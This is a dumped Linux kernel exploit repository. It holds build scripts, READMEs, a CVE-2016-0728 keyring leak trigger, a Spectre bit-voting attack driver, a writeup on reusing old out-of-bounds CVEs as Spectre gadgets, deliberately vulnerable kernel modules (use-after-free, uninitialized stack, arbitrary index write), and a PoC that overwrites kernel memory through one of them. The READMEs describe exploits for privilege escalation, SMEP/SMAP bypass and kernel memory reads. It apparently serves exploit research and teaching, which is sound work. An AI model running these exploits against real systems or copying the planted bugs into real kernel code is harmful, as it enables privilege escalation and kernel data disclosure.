├── CVE-2016-0728 ├── clean.sh ├── lkm │ ├── Makefile │ ├── info.c │ └── .cache.mk ├── build.sh ├── README.md ├── leak.c └── exploit.c ├── samples ├── exploit-pipe │ ├── clean.sh │ ├── build.sh │ ├── lkm │ │ ├── Makefile │ │ └── poc_lkm.c │ ├── README.md │ └── poc.c ├── adjacent-kstacks │ ├── clean.sh │ ├── build.sh │ ├── lkm │ │ ├── Makefile │ │ └── poc_lkm.c │ ├── README.md │ └── poc.c └── uninitialized-stack │ ├── build.sh │ ├── clean.sh │ ├── lkm │ ├── Makefile │ └── poc_lkm.c │ └── poc.c ├── README.md ├── CVE-2018-3639 ├── attack.py ├── README.md └── poc_non_root.c ├── exploit-remaining-spectre-gadget ├── setup_mac_hwsim.sh ├── README.md ├── leak_perf_swevent.c ├── leak_mac_hwsim.c └── leak_pkt_devs.c └── CVE-2017-5753 ├── README.md └── poc.c /CVE-2016-0728/clean.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | rm -f exploit leak 4 | cd lkm 5 | make clean 6 | cd ../ 7 | -------------------------------------------------------------------------------- /samples/exploit-pipe/clean.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | rm -f poc 4 | cd lkm/ 5 | make clean 6 | cd ../ 7 | -------------------------------------------------------------------------------- /samples/adjacent-kstacks/clean.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | rm -f poc 4 | cd lkm/ 5 | make clean 6 | cd ../ 7 | -------------------------------------------------------------------------------- /samples/uninitialized-stack/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | gcc -o poc poc.c 4 | cd lkm/ 5 | make 6 | cd ../ 7 | -------------------------------------------------------------------------------- /samples/uninitialized-stack/clean.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | rm -f poc 4 | cd lkm/ 5 | make clean 6 | cd ../ 7 | -------------------------------------------------------------------------------- /samples/adjacent-kstacks/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | gcc -o poc poc.c -lpthread 4 | cd lkm/ 5 | make 6 | cd ../ 7 | -------------------------------------------------------------------------------- /samples/exploit-pipe/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | gcc -o poc poc.c -lpthread --static 4 | cd lkm/ 5 | make 6 | cd ../ 7 | -------------------------------------------------------------------------------- /samples/exploit-pipe/lkm/Makefile: -------------------------------------------------------------------------------- 1 | obj-m := poc_lkm.o 2 | 3 | KVERSION = $(shell uname -r) 4 | KDIR := /lib/modules/$(KVERSION)/build 5 | 6 | default: 7 | #$(MAKE) ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- -C $(KDIR) SUBDIRS=$(shell pwd) modules 8 | $(MAKE) -C $(KDIR) SUBDIRS=$(shell pwd) modules 9 | 10 | clean: 11 | rm -rf *.o *.ko *.mod *.symvers *.order *.mod.c .*cmd .tmp* 12 | -------------------------------------------------------------------------------- /samples/uninitialized-stack/lkm/Makefile: -------------------------------------------------------------------------------- 1 | obj-m := poc_lkm.o 2 | 3 | KVERSION = $(shell uname -r) 4 | KDIR := /lib/modules/$(KVERSION)/build 5 | 6 | default: 7 | #$(MAKE) ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- -C $(KDIR) SUBDIRS=$(shell pwd) modules 8 | $(MAKE) -C $(KDIR) SUBDIRS=$(shell pwd) modules 9 | 10 | clean: 11 | rm -rf *.o *.ko *.mod *.symvers *.order *.mod.c .*cmd .tmp* 12 | -------------------------------------------------------------------------------- /samples/adjacent-kstacks/lkm/Makefile: -------------------------------------------------------------------------------- 1 | obj-m := poc_lkm.o 2 | 3 | KVERSION = $(shell uname -r) 4 | KDIR := /lib/modules/$(KVERSION)/build 5 | 6 | ccflags-y := -O0 7 | 8 | default: 9 | #$(MAKE) ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- -C $(KDIR) SUBDIRS=$(shell pwd) modules 10 | $(MAKE) -C $(KDIR) SUBDIRS=$(shell pwd) modules 11 | 12 | clean: 13 | rm -rf *.o *.ko *.mod *.symvers *.order *.mod.c .*cmd .tmp* 14 | -------------------------------------------------------------------------------- /CVE-2016-0728/lkm/Makefile: -------------------------------------------------------------------------------- 1 | obj-m := info.o 2 | 3 | KVERSION = $(shell uname -r) 4 | #KDIR := /home/jinb.park/devel/optee/linux 5 | KDIR := /lib/modules/$(KVERSION)/build 6 | 7 | default: 8 | #$(MAKE) ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- -C $(KDIR) SUBDIRS=$(shell pwd) modules 9 | $(MAKE) -C $(KDIR) SUBDIRS=$(shell pwd) modules 10 | 11 | clean: 12 | rm -rf *.o *.ko *.mod *.symvers *.order *.mod.c .*cmd .tmp* 13 | -------------------------------------------------------------------------------- /CVE-2016-0728/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | #LINUX_VER_FLAG=-DLINUX_VER_4 4 | LINUX_VER_FLAG= 5 | 6 | SMEP_FLAG=-DBYPASS_SMEP 7 | #SMEP_FLAG= 8 | 9 | #CC_PREFIX=aarch64-linux-gnu- 10 | CC_PREFIX= 11 | 12 | #TEST_LKM_FLAG=-DTEST_LKM 13 | TEST_LKM_FLAG= 14 | 15 | ${CC_PREFIX}gcc ${LINUX_VER_FLAG} ${SMEP_FLAG} ${TEST_LKM_FLAG} -o exploit exploit.c -lkeyutils 16 | ${CC_PREFIX}gcc ${LINUX_VER_FLAG} ${SMEP_FLAG} ${TEST_LKM_FLAG} -o leak leak.c -lkeyutils 17 | 18 | cd lkm 19 | make 20 | cd ../ 21 | -------------------------------------------------------------------------------- /samples/adjacent-kstacks/README.md: -------------------------------------------------------------------------------- 1 | # adjacent kstacks 2 | 3 | - It contains sample vulnerability and exploitation for adjacent kernel stacks. 4 | - This sample has written by mainly refering [1]. 5 | - Full writeup for this exploit is at [3]. 6 | 7 | 8 | # References 9 | 10 | - [1] Stack is back! (https://jon.oberheide.org/files/infiltrate12-thestackisback.pdf) 11 | - [2] https://github.com/FuzzySecurity/Unix-PrivEsc/blob/master/half-nelson.c 12 | - [3] WRITEUP(KOR) (http://blog.daum.net/tlos6733/183) 13 | 14 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # linux-exploit 2 | 3 | ## Exploits 4 | 5 | - CVE-2018-3639 (as known as Speculative store bypass, Spectre Variant4) 6 | - CVE-2017-5753 (as known as Bound check bypass, Spectre Variant1) 7 | - Exploit remaining spectre gadget 8 | * Find remaining spectre gadget, and exploit them 9 | 10 | ## Notes 11 | 12 | - In the case of CVE-2018-3639, CVE-2017-5753, 13 | These are slightly updated version of Google's exploit code for eliminating additional assmuption. 14 | 15 | ## Contact 16 | 17 | - Jinbum Park 18 | -------------------------------------------------------------------------------- /CVE-2016-0728/README.md: -------------------------------------------------------------------------------- 1 | ## CVE-2016-0728 2 | 3 | - Original exploit code for CVE-2016-0728 is [1]. 4 | - I added SMEP bypass with ROP to the original exploit [1]. 5 | - I refered the article [2] for implementing ROP-based privilege escalation. 6 | 7 | ## Test environment 8 | 9 | - Linux kernel 3.13.0-40-generic #69-Ubuntu SMP Thu Nov 13 17:53:56 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux 10 | 11 | 12 | ## References 13 | 14 | - [1] https://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/ 15 | - [2] https://www.slideshare.net/VitalyNikolenko/linux-smep-bypass-techniques 16 | -------------------------------------------------------------------------------- /CVE-2018-3639/attack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import os 4 | import sys 5 | 6 | ret_arr = [0,0,0,0,0,0,0,0] 7 | ret_val = 0 8 | victim_addr = sys.argv[1] 9 | cmd = "sudo ./poc_non_root " + victim_addr + " > /dev/null" 10 | 11 | for t in range(0, 64): 12 | r = os.system(cmd) 13 | r = r / 256 14 | mask = 0b00 15 | val = 0 16 | print "progress : " + str(t) + " / 64" 17 | 18 | for i in range(len(ret_arr)): 19 | tmp_mask = 1 << i 20 | val = r & tmp_mask 21 | if val != 0: 22 | ret_arr[i] += 1 23 | 24 | for i in range(len(ret_arr)): 25 | if ret_arr[i] >= 6: 26 | ret_val |= 1 << i 27 | print i, ":", ret_arr[i] 28 | 29 | print "[" + victim_addr + "] " + "0x%X" % (ret_val) 30 | 31 | -------------------------------------------------------------------------------- /samples/exploit-pipe/README.md: -------------------------------------------------------------------------------- 1 | # exploit pipe subsystem 2 | 3 | - It contains sample use-after-free vulnerability and exploitation on pipe subsystem. 4 | - This sample has written by mainly refering [1], [2]. 5 | - Full writeup for this exploit is at [3]. 6 | 7 | # References 8 | 9 | - [1] The Art of Exploiting Unconventional Use-After-Free bugs in Android kernel 10 | - https://www.slideshare.net/codeblue_jp/the-art-of-exploiting-unconventional-useafterfree-bugs-in-android-kernel-by-di-shen 11 | - [2] KSMA: Breaking Android kernel isolation and Rooting with ARM MMU features 12 | - https://www.blackhat.com/docs/asia-18/asia-18-WANG-KSMA-Breaking-Android-kernel-isolation-and-Rooting-with-ARM-MMU-features.pdf 13 | - [3] Exploiting pipe subsystem (KOR) (http://blog.daum.net/tlos6733/184) 14 | -------------------------------------------------------------------------------- /exploit-remaining-spectre-gadget/setup_mac_hwsim.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | KVERSION=$(uname -r) 4 | 5 | # Install below packages first. 6 | # sudo apt-get install libnl-3-200 libnl-3-dev 7 | # sudo apt-get install libnl-genl-3-200 libnl-genl-3-dev 8 | 9 | sudo insmod /lib/modules/$KVERSION/kernel/net/wireless/cfg80211.ko 10 | sudo insmod /lib/modules/$KVERSION/kernel/net/wireless/lib80211.ko 11 | sudo insmod /lib/modules/$KVERSION/kernel/net/wireless/lib80211_crypt_ccmp.ko 12 | sudo insmod /lib/modules/$KVERSION/kernel/net/wireless/lib80211_crypt_tkip.ko 13 | sudo insmod /lib/modules/$KVERSION/kernel/net/wireless/lib80211_crypt_wep.ko 14 | sudo insmod /lib/modules/$KVERSION/kernel/net/mac80211/mac80211.ko 15 | sudo insmod /lib/modules/$KVERSION/kernel/drivers/net/wireless/mac80211_hwsim.ko 16 | 17 | # gcc -I/usr/include/libnl3 -o leak_mac_hwsim leak_mac_hwsim.c -lnl-3 -lnl-genl-3 18 | 19 | -------------------------------------------------------------------------------- /CVE-2017-5753/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2017-5753 2 | 3 | - as knows as. Spectre Variant1, Bound Check Bypass. 4 | 5 | - It's to read privileged kernel memory from unprivileged user. (non-root user) 6 | 7 | - It exploits CVE-2017-5753 and eBPF in Linux kernel. 8 | 9 | - Tested on 4.4.0-62-generic #83-Ubuntu kernel. (Ubuntu 16.04), CPU - Intel(R) Core(TM) i7-6700 CPU @ 3.40GHz 10 | 11 | - Tested environment includes SMEP, SMAP. 12 | 13 | - Original exploit code against CVE-2017-5753 is from Google project zero team. [1], [2] 14 | Original exploit code doesn't have ability to bypass SMAP. 15 | So, I updated the exploit code to bypass SMAP. 16 | It is a kind of minor update, So, this exploit code is heavily similar to original's. 17 | 18 | - Attack strategy and usage are included in exploit code. (poc.c) 19 | 20 | # References 21 | 22 | - [1] https://www.exploit-db.com/exploits/43427/ 23 | - [2] https://googleprojectzero.blogspot.co.at/2018/01/reading-privileged-memory-with-side.html 24 | -------------------------------------------------------------------------------- /CVE-2016-0728/leak.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | /* 7 | * This code is refered from 8 | * https://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/ 9 | * 10 | * gcc -o leak leak.c -lkeyutils 11 | * ./leak 12 | * cat /proc/keys 13 | */ 14 | 15 | int main(int argc, char **argv) 16 | { 17 | int i = 0; 18 | key_serial_t serial; 19 | 20 | serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring3"); 21 | if (serial < 0) { 22 | perror("keyctl - first join\n"); 23 | return -1; 24 | } 25 | printf("serial : %d\n", serial); 26 | 27 | if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) { 28 | perror("keyctl - setperm\n"); 29 | return -1; 30 | } 31 | 32 | for (i=0; i<100; i++) { 33 | serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring3"); 34 | if (serial < 0) { 35 | perror("keyctl - loop join\n"); 36 | return -1; 37 | } 38 | } 39 | 40 | return 0; 41 | } 42 | -------------------------------------------------------------------------------- /exploit-remaining-spectre-gadget/README.md: -------------------------------------------------------------------------------- 1 | # Exploit remaining spectre gadget 2 | 3 | ## Summary 4 | 5 | - Exploit remaining spectre gadget. (variant1) 6 | 7 | - What can we get via exploiting them? 8 | * Bypass KASLR 9 | * Infer kernel address of physical map page. 10 | 11 | - How to find them? 12 | * Leverage smatch [1] 13 | * Revisit CVE list [2] 14 | 15 | - Revisit CVE list 16 | * If there were CVEs which are related to out-of-array access, It might be exploited by spectre-like attack. 17 | * In other words, We simply search CVEs with some keyword (leak array, leak info, out of array, array index, ...), 18 | and then exploit them again!! 19 | * The gadget in the revisited CVE may be suitable for spectre-like attack. 20 | * This strategy save time of attacker to find target. 21 | 22 | - Below Findings have found by "Revisit CVE list" strategy. 23 | 24 | - All tests have performed on Ubuntu 16.04 - 4.4.0-62-generic. 25 | 26 | ## Findings 27 | 28 | - Find 3 points, and 2 points are exploitable. I'm believing there are more points. 29 | 30 | - leak_pkt_devs.c 31 | * CVE : CVE-2010-3437 32 | * leak symbol : pkt_devs 33 | * function : pkt_find_dev_from_minor 34 | * file : drivers/block/pktcdvd.c 35 | * exploit result : success 36 | * patch : https://kernel.googlesource.com/pub/scm/linux/kernel/git/torvalds/linux/+/55690c07b44a 37 | 38 | - leak_perf_swevent.c 39 | * CVE : CVE-2013-2094 40 | * leak symbol : perf_swevent_enabled 41 | * function : perf_swevent_init 42 | * file : kernel/events/core.c 43 | * exploit result : fail 44 | 45 | - leak_mac_hwsim.c 46 | * CVE : CVE-2018-8087 47 | * leak symbol : hwsim_world_regdom_custom 48 | * function : hwsim_new_radio_nl 49 | * file : drivers/net/wireless/mac80211_hwsim.c 50 | * exploit result : success 51 | * patch : https://kernel.googlesource.com/pub/scm/linux/kernel/git/torvalds/linux/+/3a2af7cccbba 52 | 53 | ## Notes 54 | 55 | - See comments in code to get details. 56 | 57 | ## References 58 | 59 | - [1] Finding Spectre vulnerabilites with smatch (https://lwn.net/Articles/752408/) 60 | - [2] Linux kernel CVEs (https://www.cvedetails.com/product/47/Linux-Linux-Kernel.html?vendor_id=33) 61 | 62 | ## Contact 63 | 64 | - Jinbum Park 65 | -------------------------------------------------------------------------------- /samples/uninitialized-stack/lkm/poc_lkm.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | char poc_lkm_str[256] = "Hello_World"; 11 | 12 | struct poc_lkm_size { 13 | char dummy[128]; 14 | }; 15 | 16 | struct poc_lkm_st_0 { 17 | int val; 18 | char name[128]; 19 | unsigned long low; 20 | unsigned long high; 21 | unsigned int flags; 22 | unsigned short mode; 23 | unsigned short signal; 24 | }; 25 | 26 | struct poc_lkm_st_1 { 27 | char name[16]; 28 | unsigned int dummy; 29 | unsigned int datasize; 30 | unsigned char *data; 31 | }; 32 | 33 | struct poc_lkm_user_st { 34 | unsigned int datasize; 35 | unsigned char *data; 36 | }; 37 | 38 | #define POC_LKM_IOCTL_MAGIC ('P') 39 | #define POC_LKM_CMD_0 _IOWR(POC_LKM_IOCTL_MAGIC, 0, struct poc_lkm_size) 40 | #define POC_LKM_CMD_1 _IOWR(POC_LKM_IOCTL_MAGIC, 1, struct poc_lkm_size) 41 | #define POC_LKM_CMD_2 _IOWR(POC_LKM_IOCTL_MAGIC, 2, struct poc_lkm_size) 42 | 43 | static int poc_lkm_get_code(struct poc_lkm_st_1 *pst, struct poc_lkm_user_st *ust) 44 | { 45 | if (copy_from_user(pst->data, ust->data, ust->datasize)) 46 | return -1; 47 | return 0; 48 | } 49 | 50 | static int poc_lkm_set_st_0(struct poc_lkm_st_0 *pst, struct poc_lkm_user_st *ust) 51 | { 52 | if (copy_from_user(pst, ust->data, ust->datasize)) 53 | return -1; 54 | return 0; 55 | } 56 | 57 | static long poc_lkm_ioctl(struct file *f, unsigned int cmd, unsigned long arg) 58 | { 59 | int r = 0; 60 | 61 | union { 62 | struct poc_lkm_st_0 st0; 63 | struct poc_lkm_st_1 st1; 64 | }karg; 65 | 66 | switch (cmd) { 67 | case POC_LKM_CMD_0: 68 | pr_info("cmd_0 stack : %lx\n", &karg.st1.data); 69 | r = poc_lkm_set_st_0(&karg.st0, arg); 70 | pr_info("cmd_0 pst->data : %lx\n", karg.st1.data); 71 | break; 72 | case POC_LKM_CMD_1: 73 | pr_info("cmd_1 stack : %lx\n", &karg.st1.data); 74 | r = poc_lkm_get_code(&karg.st1, arg); 75 | break; 76 | case POC_LKM_CMD_2: 77 | pr_info("str : %s\n", poc_lkm_str); 78 | break; 79 | } 80 | 81 | return r; 82 | } 83 | 84 | static struct file_operations poc_lkm_fops = 85 | { 86 | .owner = THIS_MODULE, 87 | .unlocked_ioctl = poc_lkm_ioctl, 88 | }; 89 | 90 | static int create_poc_lkm_fops(void) 91 | { 92 | proc_create("poc_lkm", 0666, NULL, &poc_lkm_fops); 93 | return 0; 94 | } 95 | 96 | static int remove_poc_lkm_fops(void) 97 | { 98 | remove_proc_entry("poc_lkm", NULL); 99 | return 0; 100 | } 101 | 102 | int poc_lkm_init(void) 103 | { 104 | create_poc_lkm_fops(); 105 | return 0; 106 | } 107 | 108 | void poc_lkm_exit(void) 109 | { 110 | remove_poc_lkm_fops(); 111 | return; 112 | } 113 | 114 | module_init(poc_lkm_init); 115 | module_exit(poc_lkm_exit); 116 | MODULE_LICENSE("GPL"); 117 | -------------------------------------------------------------------------------- /samples/uninitialized-stack/poc.c: -------------------------------------------------------------------------------- 1 | // Goal of this PoC attack : 2 | // - "Hello_World" string is living in poc_lkm.c 3 | // - Modify from "Hello_World" to "AttackWorld" via exploiting uninitialized stack vulnerability. 4 | // 5 | #define _GNU_SOURCE 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | struct poc_lkm_size { 18 | char dummy[128]; 19 | }; 20 | 21 | struct poc_lkm_st_0 { 22 | int val; 23 | char name[128]; 24 | unsigned long low; 25 | unsigned long high; 26 | unsigned int flags; 27 | unsigned short mode; 28 | unsigned short signal; 29 | }; 30 | 31 | struct poc_lkm_st_1 { 32 | char name[16]; 33 | unsigned int dummy; 34 | unsigned int datasize; 35 | unsigned char *data; 36 | }; 37 | 38 | struct poc_lkm_user_st { 39 | unsigned int datasize; 40 | unsigned char *data; 41 | }; 42 | 43 | #define POC_LKM_IOCTL_MAGIC ('P') 44 | #define POC_LKM_CMD_0 _IOWR(POC_LKM_IOCTL_MAGIC, 0, struct poc_lkm_size) 45 | #define POC_LKM_CMD_1 _IOWR(POC_LKM_IOCTL_MAGIC, 1, struct poc_lkm_size) 46 | #define POC_LKM_CMD_2 _IOWR(POC_LKM_IOCTL_MAGIC, 2, struct poc_lkm_size) 47 | 48 | int fd; 49 | unsigned char udata[128] = {0x11,}; 50 | unsigned long target_addr = 0xffffffffc05db100UL; /* should be modified */ 51 | char *attack_str = "Attack"; 52 | 53 | void do_wrapper_call(void) 54 | { 55 | int r; 56 | int i, j; 57 | struct poc_lkm_user_st ust; 58 | 59 | ust.datasize = 128; 60 | ust.data = udata; 61 | for (i=0; i<(128/8); i++) { 62 | for (j=0; j<8; j++) { 63 | udata[i * 8 + j] = ((unsigned char *)&target_addr)[j]; 64 | } 65 | } 66 | 67 | r = ioctl(fd, POC_LKM_CMD_0, &ust); 68 | if (r < 0) { 69 | printf("[-] POC_LKM_CMD_0 failed\n"); 70 | return; 71 | } 72 | 73 | ust.datasize = 6; 74 | ust.data = attack_str; 75 | r = ioctl(fd, POC_LKM_CMD_1, &ust); 76 | if (r < 0) { 77 | printf("[-] POC_LKM_CMD_0 failed\n"); 78 | return; 79 | } 80 | 81 | r = ioctl(fd, POC_LKM_CMD_2, &ust); 82 | if (r < 0) { 83 | printf("[-] POC_LKM_CMD_0 failed\n"); 84 | return; 85 | } 86 | } 87 | 88 | void do_asm_call(void) 89 | { 90 | int r; 91 | struct poc_lkm_user_st ust; 92 | unsigned long syscall_num = __NR_ioctl; 93 | unsigned long cmd = POC_LKM_CMD_0; 94 | unsigned long ulfd = (unsigned long)fd; 95 | 96 | ust.datasize = 32; 97 | ust.data = udata; 98 | 99 | asm volatile( 100 | "movq %0, %%rax\n\t" 101 | "movq %1, %%rdi\n\t" 102 | "movq %2, %%rsi\n\t" 103 | "movq %3, %%rdx\n\t" 104 | "syscall" 105 | : /* No output */ 106 | : "r"(syscall_num), "r"(ulfd), "r"(cmd), "r"(&ust) 107 | : ); 108 | 109 | cmd = POC_LKM_CMD_1; 110 | asm volatile( 111 | "movq %0, %%rax\n\t" 112 | "movq %1, %%rdi\n\t" 113 | "movq %2, %%rsi\n\t" 114 | "movq %3, %%rdx\n\t" 115 | "syscall" 116 | : /* No output */ 117 | : "r"(syscall_num), "r"(ulfd), "r"(cmd), "r"(&ust) 118 | : ); 119 | } 120 | 121 | int main(int argc, char **argv) 122 | { 123 | fd = open("/proc/poc_lkm", O_RDWR); 124 | if (fd < 0) { 125 | printf("[-] open /proc/poc_lkm failed\n"); 126 | return 0; 127 | } 128 | 129 | do_wrapper_call(); 130 | 131 | close(fd); 132 | return 0; 133 | } 134 | -------------------------------------------------------------------------------- /samples/adjacent-kstacks/lkm/poc_lkm.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | struct poc_lkm_size { 12 | char dummy[128]; 13 | }; 14 | struct poc_lkm_input_val { 15 | int idx; 16 | unsigned long val; 17 | }; 18 | 19 | #define POC_LKM_IOCTL_MAGIC ('P') 20 | #define POC_LKM_CMD_0 _IOWR(POC_LKM_IOCTL_MAGIC, 0, struct poc_lkm_size) 21 | #define POC_LKM_CMD_1 _IOWR(POC_LKM_IOCTL_MAGIC, 1, struct poc_lkm_size) 22 | #define POC_LKM_CMD_2 _IOWR(POC_LKM_IOCTL_MAGIC, 2, struct poc_lkm_size) 23 | #define POC_LKM_CMD_3 _IOWR(POC_LKM_IOCTL_MAGIC, 3, struct poc_lkm_size) 24 | 25 | struct poc_lkm_st { 26 | long *a1; 27 | long *a2; 28 | long *a3; 29 | long *a4; 30 | long *a5; 31 | long *a6; 32 | long *a7; 33 | long *a8; 34 | }; 35 | 36 | /* Function for putting sensitive data (kstack address) to kstack */ 37 | int poc_lkm_put_sensitive_data(unsigned long arg, long *a1, long *a2) 38 | { 39 | struct poc_lkm_st st; 40 | 41 | st.a1 = a1; st.a2 = a1; st.a3 = a1; st.a4 = a1; 42 | st.a5 = a2; st.a6 = a2; st.a7 = a2; st.a8 = a2; 43 | return 0; 44 | } 45 | 46 | int poc_lkm_leak_kstack(unsigned long arg, long *a1, long *a2) 47 | { 48 | unsigned char uni_buf[64]; 49 | 50 | if (copy_to_user(arg, uni_buf, 64)) 51 | return -1; 52 | 53 | return 0; 54 | } 55 | 56 | int poc_lkm_print_kstack(void) 57 | { 58 | pr_info("stack : %lx, %lx\n", (unsigned long)current_thread_info(), (unsigned long)current_thread_info() & ~0x3fff); 59 | return 0; 60 | } 61 | 62 | int poc_lkm_read_write_int(unsigned long arg) 63 | { 64 | int arr[16] = {0,1,2,3,4,5,6,7,}; 65 | struct poc_lkm_input_val ival; 66 | 67 | if (copy_from_user(&ival, arg, sizeof(ival))) { 68 | pr_err("copy_from_user error\n"); 69 | return 0; 70 | } 71 | 72 | if (ival.val == 0) { 73 | return arr[ival.idx]; 74 | } 75 | 76 | *(unsigned long *)(arr + ival.idx) = ival.val; 77 | return 0; 78 | } 79 | 80 | long poc_lkm_ioctl(struct file *f, unsigned int cmd, unsigned long arg) 81 | { 82 | long a1 = 1, a2 = 2; 83 | int r; 84 | int idx, val; 85 | 86 | switch (cmd) { 87 | case POC_LKM_CMD_0: 88 | r = poc_lkm_put_sensitive_data(arg, &a1, &a2); 89 | break; 90 | case POC_LKM_CMD_1: 91 | r = poc_lkm_leak_kstack(arg, &a1, &a2); 92 | break; 93 | case POC_LKM_CMD_2: 94 | r = poc_lkm_print_kstack(); 95 | break; 96 | case POC_LKM_CMD_3: 97 | r = poc_lkm_read_write_int(arg); 98 | break; 99 | } 100 | 101 | return r; 102 | } 103 | 104 | struct file_operations poc_lkm_fops = 105 | { 106 | .owner = THIS_MODULE, 107 | .unlocked_ioctl = poc_lkm_ioctl, 108 | }; 109 | 110 | static int create_poc_lkm_fops(void) 111 | { 112 | proc_create("poc_lkm", 0666, NULL, &poc_lkm_fops); 113 | return 0; 114 | } 115 | 116 | static int remove_poc_lkm_fops(void) 117 | { 118 | remove_proc_entry("poc_lkm", NULL); 119 | return 0; 120 | } 121 | 122 | int poc_lkm_init(void) 123 | { 124 | create_poc_lkm_fops(); 125 | pr_info("KERNEL_DS : %lx, USER_DS : %lx\n", KERNEL_DS, USER_DS); 126 | return 0; 127 | } 128 | 129 | void poc_lkm_exit(void) 130 | { 131 | remove_poc_lkm_fops(); 132 | return; 133 | } 134 | 135 | module_init(poc_lkm_init); 136 | module_exit(poc_lkm_exit); 137 | MODULE_LICENSE("GPL"); 138 | -------------------------------------------------------------------------------- /samples/exploit-pipe/lkm/poc_lkm.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | // We have to use iov count bigger than UIO_FASTIOV, for allocating iovecs in heap. 11 | #define UIO_FASTIOV 8 12 | #define UIO_MAXIOV 1024 13 | #define UIO_IOV_COUNT 10 14 | 15 | struct poc_lkm_size { 16 | char dummy[128]; 17 | }; 18 | struct poc_lkm_object { 19 | unsigned long a1[UIO_IOV_COUNT]; 20 | unsigned long a2[UIO_IOV_COUNT]; 21 | }; 22 | 23 | // Construct Use-After-Free with combination of below commands 24 | #define POC_LKM_IOCTL_MAGIC ('P') 25 | #define POC_LKM_CMD_0 _IOWR(POC_LKM_IOCTL_MAGIC, 0, struct poc_lkm_size) /* Allocate */ 26 | #define POC_LKM_CMD_1 _IOWR(POC_LKM_IOCTL_MAGIC, 1, struct poc_lkm_size) /* Generate 2nd reference */ 27 | #define POC_LKM_CMD_2 _IOWR(POC_LKM_IOCTL_MAGIC, 2, struct poc_lkm_size) /* Free */ 28 | #define POC_LKM_CMD_3 _IOWR(POC_LKM_IOCTL_MAGIC, 3, struct poc_lkm_size) /* Use (Write) */ 29 | #define POC_LKM_CMD_4 _IOWR(POC_LKM_IOCTL_MAGIC, 4, struct poc_lkm_size) /* Print poc_lkm_str */ 30 | 31 | struct poc_lkm_object *uaf_object = NULL; 32 | struct poc_lkm_object *uaf_object_ref = NULL; 33 | char poc_lkm_str[64] = "HellooWorld"; // Change "HelloWorld" to "AttackWorld" via exploiting!! 34 | 35 | int poc_lkm_allocate(unsigned long arg) 36 | { 37 | int r; 38 | 39 | uaf_object = (struct poc_lkm_object *)kmalloc(sizeof(*uaf_object), GFP_KERNEL); 40 | if (!uaf_object) { 41 | pr_err("uaf_object allocation error\n"); 42 | return -1; 43 | } 44 | 45 | if (copy_from_user(uaf_object, arg, sizeof(*uaf_object))) { 46 | pr_err("copy_from_user error\n"); 47 | return -1; 48 | } 49 | 50 | pr_info("poc_lkm_allocate success : %lx\n", (unsigned long)uaf_object); 51 | return 0; 52 | } 53 | 54 | int poc_lkm_gen_ref(void) 55 | { 56 | uaf_object_ref = uaf_object; 57 | pr_info("poc_lkm_gen_ref success\n"); 58 | return 0; 59 | } 60 | 61 | int poc_lkm_free(void) 62 | { 63 | if (!uaf_object) 64 | return -1; 65 | kfree(uaf_object); 66 | uaf_object = NULL; 67 | pr_info("poc_lkm_free success\n"); 68 | return 0; 69 | } 70 | 71 | int poc_lkm_uaf_write(unsigned long arg) 72 | { 73 | if (!uaf_object && !uaf_object_ref) 74 | return -1; 75 | 76 | pr_info("uaf_object_ref[%lx] : %lx, %lx\n", uaf_object_ref, *(unsigned long *)uaf_object_ref, *((unsigned long *)uaf_object_ref + 1)); 77 | 78 | // Is it reallocated properly?? 79 | if (*(unsigned long *)uaf_object_ref < 0xffff000000000000UL && *((unsigned long *)uaf_object_ref + 1) == 0x8UL) { 80 | pr_info("Yap!! overwrite now!!\n"); 81 | if (copy_from_user(uaf_object_ref, arg, sizeof(*uaf_object_ref))) { 82 | pr_err("copy_from_user error\n"); 83 | return -1; 84 | } 85 | } else { 86 | pr_info("poc_lkm_uaf_write fail\n"); 87 | return -1; 88 | } 89 | 90 | pr_info("poc_lkm_uaf_write success\n"); 91 | return 0; 92 | } 93 | 94 | long poc_lkm_ioctl(struct file *f, unsigned int cmd, unsigned long arg) 95 | { 96 | int r; 97 | 98 | switch (cmd) { 99 | case POC_LKM_CMD_0: 100 | r = poc_lkm_allocate(arg); 101 | break; 102 | case POC_LKM_CMD_1: 103 | r = poc_lkm_gen_ref(); 104 | break; 105 | case POC_LKM_CMD_2: 106 | r = poc_lkm_free(); 107 | break; 108 | case POC_LKM_CMD_3: 109 | r = poc_lkm_uaf_write(arg); 110 | break; 111 | case POC_LKM_CMD_4: 112 | r = 0; 113 | pr_info("poc_lkm_str : %s\n", poc_lkm_str); 114 | break; 115 | default: 116 